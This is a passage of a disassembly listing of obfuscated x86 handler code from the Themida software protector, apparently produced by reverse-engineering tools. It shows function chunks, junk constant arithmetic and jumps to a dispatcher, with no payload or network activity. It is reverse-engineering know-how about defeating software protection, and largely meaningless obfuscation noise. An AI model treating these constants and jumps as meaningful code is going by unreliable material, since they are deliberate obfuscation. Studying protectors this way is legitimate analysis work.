ecx jmp loc_565228 ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_5735FF: ; CODE XREF: sub_56C83E-BEFEj mov [esp+4+var_4], eax jmp loc_56410B ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_573607: ; CODE XREF: sub_56616D-3622j push edx mov edx, 5934AC8Ch jmp loc_564C1F ; END OF FUNCTION CHUNK FOR sub_56616D ; =============== S U B R O U T I N E ======================================= sub_573612 proc near ; DATA XREF: Themida_:0055FCE4o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00563112 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00564A02 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565493 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005687AB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056AC96 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056C724 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0056D5B6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056D885 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056F3F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0056FEBF SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00572FFF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00573DE9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00574AB5 SIZE 0000001A BYTES mov cx, [esp+0] push ebx push esp mov ebx, [esp+8+var_8] jmp loc_56C724 sub_573612 endp ; --------------------------------------------------------------------------- loc_573620: ; CODE XREF: Themida_:005723FBj add eax, ebx push edi mov edi, 5D4E41B4h xor edi, 7ED6F03h sub eax, edi pop edi pop ebx xchg eax, [esp] mov esp, [esp] sub [esp], ax pushf jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_573642: ; CODE XREF: sub_56B1DC-A2D6j or esi, 62EB45D5h xor esi, 7DA708AAh add esi, 42075947h jmp loc_5731E2 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_573659: ; CODE XREF: sub_5604FE+9079j push dword ptr [esp+0] pop edx jmp sub_56C3E2 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5736FA loc_573662: ; CODE XREF: sub_5736FA-3276j add eax, 0CB612ACh sub eax, 17C657AFh pop edi mov esi, [esp-8+arg_4] add esp, 4 push 6BE5h jmp loc_5650FC ; END OF FUNCTION CHUNK FOR sub_5736FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_57367D: ; CODE XREF: sub_56657A+3645j imul cl jmp loc_5645D6 ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567C58 loc_573684: ; CODE XREF: sub_567C58+19j push edi mov edi, 0E373BCCh sub edi, 76314A9Ch push edi neg [esp+10h+var_10] mov edi, [esp+10h+var_10] push esi mov esi, esp jmp loc_5615C8 ; END OF FUNCTION CHUNK FOR sub_567C58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_57369F: ; CODE XREF: sub_570FB7-B085j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0Ch+var_C] pop esp or edx, eax shl edx, 1 push 263Bh jmp loc_564082 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_5736BF: ; CODE XREF: sub_569A84+E14j mov [esp+0], ebx jmp loc_568ACD ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_5736C7: ; CODE XREF: sub_567B29+7D9Bj add ebx, 262772EAh push edx push 21EC78BAh pop edx add ebx, edx pop edx sub esp, 4 jmp loc_57321C ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- loc_5736E2: ; CODE XREF: Themida_:005622B4j add ebx, eax pop eax push ebp push edx jmp loc_56FCB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5736EC: ; CODE XREF: sub_57354D-D95j push [esp+10h+var_10] mov ebp, [esp+14h+var_14] add esp, 4 jmp sub_567049 ; END OF FUNCTION CHUNK FOR sub_57354D ; =============== S U B R O U T I N E ======================================= sub_5736FA proc near ; CODE XREF: sub_574CBE-FFE9j var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 005650FC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00570481 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573662 SIZE 0000001B BYTES push ebp mov ebp, 57130F65h and ebp, 0C48760Dh push esi mov esi, 0F749F359h sub ebp, esi pop esi sub eax, ebp jmp loc_570481 sub_5736FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570C6A loc_573716: ; CODE XREF: sub_570C6A-C939j add ebp, 534F4A02h sub ebp, 27232158h pop esi pop edi xchg ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] btr word ptr [esp-4+arg_0], ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_570C6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_573735: ; CODE XREF: sub_561541+2351j xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] pop esp or eax, eax jz loc_56CE6D push dword ptr [edi+1Ch] push ebp mov ebp, 69B11F7Ah add [esp+8+var_4], ebp pop ebp mov ecx, [esp+4+var_4] add esp, 4 jmp loc_561332 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_573763: ; CODE XREF: sub_5733CA-C3F8j add esi, ecx pop ecx or esi, 17F55A8Dh push ecx push ebx mov ebx, 197D4E79h sub ebx, 818573DEh jmp loc_56C540 ; END OF FUNCTION CHUNK FOR sub_5733CA ; =============== S U B R O U T I N E ======================================= sub_57377E proc near ; CODE XREF: sub_560276+DDE1j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005611C6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056357B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568AB1 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056DCF3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00574D38 SIZE 00000025 BYTES sub esp, 4 mov [esp+0], edi mov edi, 88073D3Bh sub edx, edi mov edi, [esp+0] add esp, 4 jmp loc_574D38 sub_57377E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_57379C: ; CODE XREF: Themida_:0056F9CCj pop eax jmp loc_569ADD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568F83 loc_5737A2: ; CODE XREF: sub_568F83-61C2j add esp, 4 add edi, esi pop esi xor edi, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], edi xor edi, [esp-0Ch+arg_8] jmp loc_56DA73 ; END OF FUNCTION CHUNK FOR sub_568F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_5737B9: ; CODE XREF: sub_56B06D-6BBCj push [esp+8+var_8] jmp loc_572B8E ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_5737C1: ; CODE XREF: sub_5738F4-1263Fj pop edi add ebx, 6FD86E81h add ebx, eax sub ebx, 6FD86E81h jmp loc_566EF8 ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5737D5: ; CODE XREF: sub_561027+140E4j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+1Ch+var_1C] jmp loc_5678F4 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5737EB: ; CODE XREF: sub_561418+1j mov ebp, 19CB674Fh xor ebp, 68CC7BCEh jmp loc_5629C7 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CFE loc_5737FB: ; CODE XREF: sub_567CFE+653Ej push ecx jmp loc_56B211 ; END OF FUNCTION CHUNK FOR sub_567CFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_573801: ; CODE XREF: sub_566078+DF2j mov ecx, 0EC9F145Bh add edx, ecx jmp loc_5653F6 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_57380D: ; CODE XREF: sub_5671E1+4820j add esp, 4 sub edx, 318F3A6Ch add edi, 6CDD7F02h sub edi, edx sub edi, 6CDD7F02h pop edx add edi, 336541D9h jmp loc_5617C9 ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_573833: ; CODE XREF: sub_56D464+1880j pop esi add esi, 4 push esi jmp loc_56B0FE ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_573840: ; CODE XREF: sub_570CE4-EE10j push 7E40h mov [esp+0Ch+var_C], ecx mov ecx, 0DEFC5360h add ebp, 31351870h sub ebp, 186972E6h sub ebp, ecx add ebp, 186972E6h sub ebp, 31351870h jmp loc_565346 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_57386C: ; CODE XREF: sub_5690E8+BDA1j sub eax, 9164464Eh jmp loc_569A96 ; END OF FUNCTION CHUNK FOR sub_5690E8 ; =============== S U B R O U T I N E ======================================= sub_573876 proc near ; CODE XREF: sub_56CD13-9F09j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00561435 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056463B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00564D09 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566271 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00568EBB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056AF28 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056B235 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00570938 SIZE 0000001D BYTES push ebx jmp loc_56AF28 sub_573876 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_57387C: ; CODE XREF: sub_5678CB-20E6j mov [esp+0], ecx mov ch, 0Bh xor ch, 0AAh push ebx jmp loc_569D40 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_57388A: ; CODE XREF: sub_56241E+1162Cj sub dx, 472Ah sub dx, ax jmp loc_566847 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_573897: ; CODE XREF: sub_57549C-3E41j pop edi jmp loc_56A445 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_57389D: ; CODE XREF: sub_5620B7+102DFj mov eax, dword ptr [esp+0Eh+var_E] add esp, 4 pop edx jmp loc_56640D ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_5738AC: ; CODE XREF: sub_568E5C-2042j pop [esp+4+var_4] pop esp push esi mov esi, esp add esi, 4 sub esp, 4 mov [esp+4+var_4], edx mov edx, 4 add esi, 51B715B1h jmp loc_560BA0 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_5738D2: ; CODE XREF: sub_569DB5-58D9j pop esp mov ax, [esp-4+arg_0] sub esp, 4 mov [esp+0], ebp sub esp, 4 mov [esp+4+var_4], esp sub esp, 4 jmp loc_562A9A ; END OF FUNCTION CHUNK FOR sub_569DB5 ; =============== S U B R O U T I N E ======================================= sub_5738F4 proc near ; CODE XREF: sub_5605BC+F1C1j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005612AD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056210B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00562EE9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564D17 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00565616 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00566D73 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00566EF8 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D009 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E19D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F8D9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005704FE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0057067D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00570D80 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00572CB5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572F88 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005733DE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005737C1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00575481 SIZE 0000000C BYTES push ebx jmp loc_572F88 sub_5738F4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5738FA proc near ; DATA XREF: Themida_:0055FD74o push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp+0], cl pushf jmp loc_55FF9F sub_5738FA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_573909: ; CODE XREF: sub_561027+121CDj mov edi, [esp+0] jmp loc_564771 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569CBC loc_573911: ; CODE XREF: sub_569CBC+1Bj pop esi sub ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp loc_565CDB ; END OF FUNCTION CHUNK FOR sub_569CBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_57391E: ; CODE XREF: sub_570CE4+228Aj push eax jmp loc_567D24 ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_573924: ; CODE XREF: sub_56D464-BB76j pop eax push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] jmp loc_56ECDC ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_573939: ; CODE XREF: sub_56EFD2+25F7j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_57393E: ; CODE XREF: sub_564D26+9A05j add edx, ecx jmp loc_5745F2 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_573945: ; CODE XREF: sub_5747FA-4964j or [esp-8+arg_4], ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_57394F: ; CODE XREF: sub_56241E+6EFBj mov bx, 244Ah dec bx shr bx, 7 jmp loc_562125 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1B8 loc_57395E: ; CODE XREF: sub_56E1B8+9j add ebp, 4 xchg ebp, [esp+0] pop esp add esp, 4 or edx, 33E404BDh or edx, 35A51C58h dec edx push esi push ecx mov ecx, 16B87D9Eh jmp loc_5735C8 ; END OF FUNCTION CHUNK FOR sub_56E1B8 ; --------------------------------------------------------------------------- loc_573987: ; CODE XREF: Themida_:00568711j push ebx jmp loc_56D38C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_57398D: ; CODE XREF: sub_561418+D7C3j pop ebx and edx, 7F4947C0h sub edx, 25427C70h not edx push 4272h mov [esp-4+arg_0], edi jmp loc_572725 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563ADF loc_5739A9: ; CODE XREF: sub_563ADF+D6D3j mov esp, [esp+8+var_8] mov [esp+0], esp jmp sub_566B79 ; END OF FUNCTION CHUNK FOR sub_563ADF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_5739B4: ; CODE XREF: sub_57549C-5004j mov esp, [esp+8+var_8] mov [esp+0], ebp mov ebp, 71A45AEAh shr ebp, 5 sub ebp, 38D22D3h sub ecx, 52561B11h add ecx, ebp jmp sub_568CD2 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5739D5: ; CODE XREF: sub_561418+4F55j mov esi, [esp+1Ch+var_1C] add esp, 4 sub ebp, ebx jmp loc_568275 ; END OF FUNCTION CHUNK FOR sub_561418 ; =============== S U B R O U T I N E ======================================= sub_5739E2 proc near ; DATA XREF: Themida_:0055FD7Co push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp+0], cl pushf jmp loc_55FF9F sub_5739E2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_5739F1: ; CODE XREF: sub_568764-2583j neg edx or edx, 0F9530D2h xor edx, 8213FD76h sub ecx, 13105F79h add ecx, edx jmp loc_56DF16 ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- loc_573A0C: ; CODE XREF: Themida_:00569A3Fj push 23F0h jmp loc_56D162 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_573A16: ; CODE XREF: sub_574656-93F2j push 13E54E58h pop ebx push ebp mov ebp, 0FFFFFFFFh add ebx, ebp pop ebp push edi mov edi, 1D1939A1h and edi, 0E3C7B13h jmp loc_568C19 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_573A36: ; CODE XREF: sub_56AB5E-282Fj push ecx mov ecx, 5DC17F73h jmp loc_572BBF ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_573A41: ; CODE XREF: sub_56241E+3E09j sub ax, 1E7Fh sub dx, 5633h jmp loc_57388A ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_573A4F: ; CODE XREF: sub_561027+117CDj mov edi, 0F367C1C4h xor ebp, edi jmp loc_568256 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_573A5B: ; CODE XREF: sub_571890-7F99j pop ecx add ebx, 0FFFFFFFFh add ebx, 0D3F299F8h push ecx mov ecx, 65A75270h not ecx jmp loc_57059C ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_573A72: ; CODE XREF: sub_571C93+35A2j pop edi add esp, 4 push ecx jmp loc_570E14 ; END OF FUNCTION CHUNK FOR sub_571C93 ; =============== S U B R O U T I N E ======================================= sub_573A7F proc near ; DATA XREF: Themida_:0055FD3Co var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00563141 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056C5C1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E4EC SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056FD4E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00572B58 SIZE 00000006 BYTES lodsd sub eax, 36D715BAh push 34DDh jmp loc_563141 sub_573A7F endp ; =============== S U B R O U T I N E ======================================= sub_573A8F proc near ; DATA XREF: Themida_:0055FF14o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056FB43 SIZE 00000005 BYTES push dword ptr [edi+1Ch] popf pop eax sbb [esp-4+arg_0], eax pushf jmp loc_56FB43 sub_573A8F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_573A9D: ; CODE XREF: sub_57549C-9073j push ecx mov ecx, 0DBE21A0h jmp loc_571A95 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_573AA8: ; CODE XREF: sub_56E96D-2473j pop edx sub esi, 93358485h xor esi, 3E15082Fh mov eax, esi pop esi add ebp, eax jmp loc_56C824 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_573ABF: ; CODE XREF: sub_57109F-6D66j shl esi, 1 jmp loc_573E4B ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5666C3 loc_573AC6: ; CODE XREF: sub_5666C3+226Aj push 378Ch mov [esp+0], ebp push edx mov edx, 4FCD155Ah push ecx mov ecx, 411266EEh sub ecx, 33E708ECh not ecx xor ecx, 72603186h xor ecx, 7813459Ch shl ecx, 3 add ecx, 916A7D47h or edx, ecx mov ecx, [esp-4+arg_0] add esp, 4 push edi mov edi, 54B81C25h not edi dec edi xor edi, 8C48B483h or edx, edi pop edi add edx, 0FFFDABD7h mov ebp, edx mov edx, [esp-8+arg_4] add esp, 4 jmp loc_567026 ; END OF FUNCTION CHUNK FOR sub_5666C3 ; --------------------------------------------------------------------------- loc_573B27: ; CODE XREF: Themida_:0056CB50j push ebx mov ebx, esp jmp loc_56C0F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_573B2F: ; CODE XREF: sub_56616D+4AE5j add esi, ebp pop ebp add edx, 32C634C1h add edx, esi sub edx, 32C634C1h pop esi sub esp, 4 jmp loc_56361A ; END OF FUNCTION CHUNK FOR sub_56616D ; =============== S U B R O U T I N E ======================================= sub_573B49 proc near ; CODE XREF: sub_56FD38-F952j var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00564DA9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005660E1 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056B984 SIZE 00000010 BYTES push ebx mov ebx, 4D3D4678h jmp loc_5660E1 sub_573B49 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_573B54: ; CODE XREF: sub_571088-8EB9j mov dword ptr [esp-4+arg_0], ebx mov bl, 6 add bl, 0DDh push dx mov dl, bl push ebx mov bl, dl not bl push eax push edx jmp loc_56AB74 ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- loc_573B6C: ; CODE XREF: Themida_:0056CDF9j xor ebx, [esp] jmp loc_56CE1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5609A1 loc_573B74: ; CODE XREF: sub_5609A1+6j sub edx, ebx pop ebx push ebx jmp loc_5712E2 ; END OF FUNCTION CHUNK FOR sub_5609A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D31 loc_573B7D: ; CODE XREF: sub_560D31+2BFBj mov dl, ah pop eax mov [edi+eax*4], dl mov edx, [esp+0] add esp, 4 push [esp-4+arg_0] pop ebx push ebx sub esp, 4 mov [esp+4+var_4], esp push ebx mov ebx, 4 add [esp+8+var_4], ebx pop ebx jmp loc_5683DD ; END OF FUNCTION CHUNK FOR sub_560D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_573BA7: ; CODE XREF: sub_5673C3+35D3j mov eax, 602136B5h xor eax, 25A105FBh and eax, 1E286968h shr eax, 8 neg eax sub eax, 5757710Ah sub eax, 0A8A48ED1h add ebp, eax push [esp+10h+var_10] pop eax add esp, 4 push eax mov eax, 4 add ebp, eax pop eax push ebp jmp loc_56A4E2 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_573BDD: ; CODE XREF: sub_56102D+8B1Bj pop esi add ebp, 4 xchg ebp, [esp+4+var_4] jmp loc_56BDB1 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_573BEC: ; CODE XREF: sub_560844+7B19j mov ebx, [esp+0] push esi mov esi, esp push 4824h mov [esp+8+var_8], ecx mov ecx, 11C613B6h add ecx, 2C863032h jmp loc_568A9B ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A7FB loc_573C0A: ; CODE XREF: sub_56A7FB+2j mov bl, 75h add al, 0FDh jmp loc_564B9B ; END OF FUNCTION CHUNK FOR sub_56A7FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_573C13: ; CODE XREF: sub_572DD7+15CBj add dword ptr [esp+4], 63DB75D8h jmp loc_5741C1 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_573C20: ; CODE XREF: sub_5620B7+4375j sub esi, 34D0C3B2h jmp loc_562017 ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_573C2B: ; CODE XREF: sub_574CDD-13D98j mov eax, [esp+4+var_4] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp add ebp, 4 push ebp push [esp+8+var_4] pop ebp pop [esp+8+var_8] mov esp, [esp+4+var_4] add ebp, 4 jmp loc_56DB9D ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_573C5E: ; CODE XREF: sub_56241E+839Ej mov word ptr [esp+8+var_8], ax mov ax, 24D1h jmp loc_566202 ; END OF FUNCTION CHUNK FOR sub_56241E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E1B8 loc_573C6B: ; CODE XREF: sub_56E1B8+541Dj mov esi, [esp+0] add esp, 4 shl edx, 7 xor edx, 950E9204h add eax, edx jmp loc_570129 ; END OF FUNCTION CHUNK FOR sub_56E1B8 ; --------------------------------------------------------------------------- loc_573C84: ; CODE XREF: Themida_:00560E5Fj push 16B7559Fh pop ebx sub ecx, ebx pop ebx mov eax, [ecx] jmp loc_56F304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56208F loc_573C94: ; CODE XREF: sub_56208F+9B66j sar [esp-4+arg_0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56208F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_573C9D: ; CODE XREF: sub_56628B+4675j dec eax jmp loc_564761 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_573CA3: ; CODE XREF: sub_563A7F+23B4j and bh, 0A1h push dx push bx jmp loc_56A84E ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_573CAF: ; CODE XREF: sub_56616D+193Bj inc ebp add ebp, 26D9155h jmp loc_56E2A6 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_573CBB: ; CODE XREF: sub_5722C8-904Dj mov [esp+0], ecx jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_573CC3: ; CODE XREF: sub_5678CB+3D10j not ch sub esp, 2 jmp loc_5681BD ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_573CCD: ; CODE XREF: sub_570732+43DEj shl ecx, 8 xor ecx, 57AB6E85h neg ecx xor ecx, 8EEE7459h add ebx, ecx jmp loc_572315 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_573CE5: ; CODE XREF: sub_56B06D+25ADj push edi mov edi, 4 sub esi, edi pop edi xchg esi, [esp+18h+var_18] pop esp jmp loc_566E80 ; END OF FUNCTION CHUNK 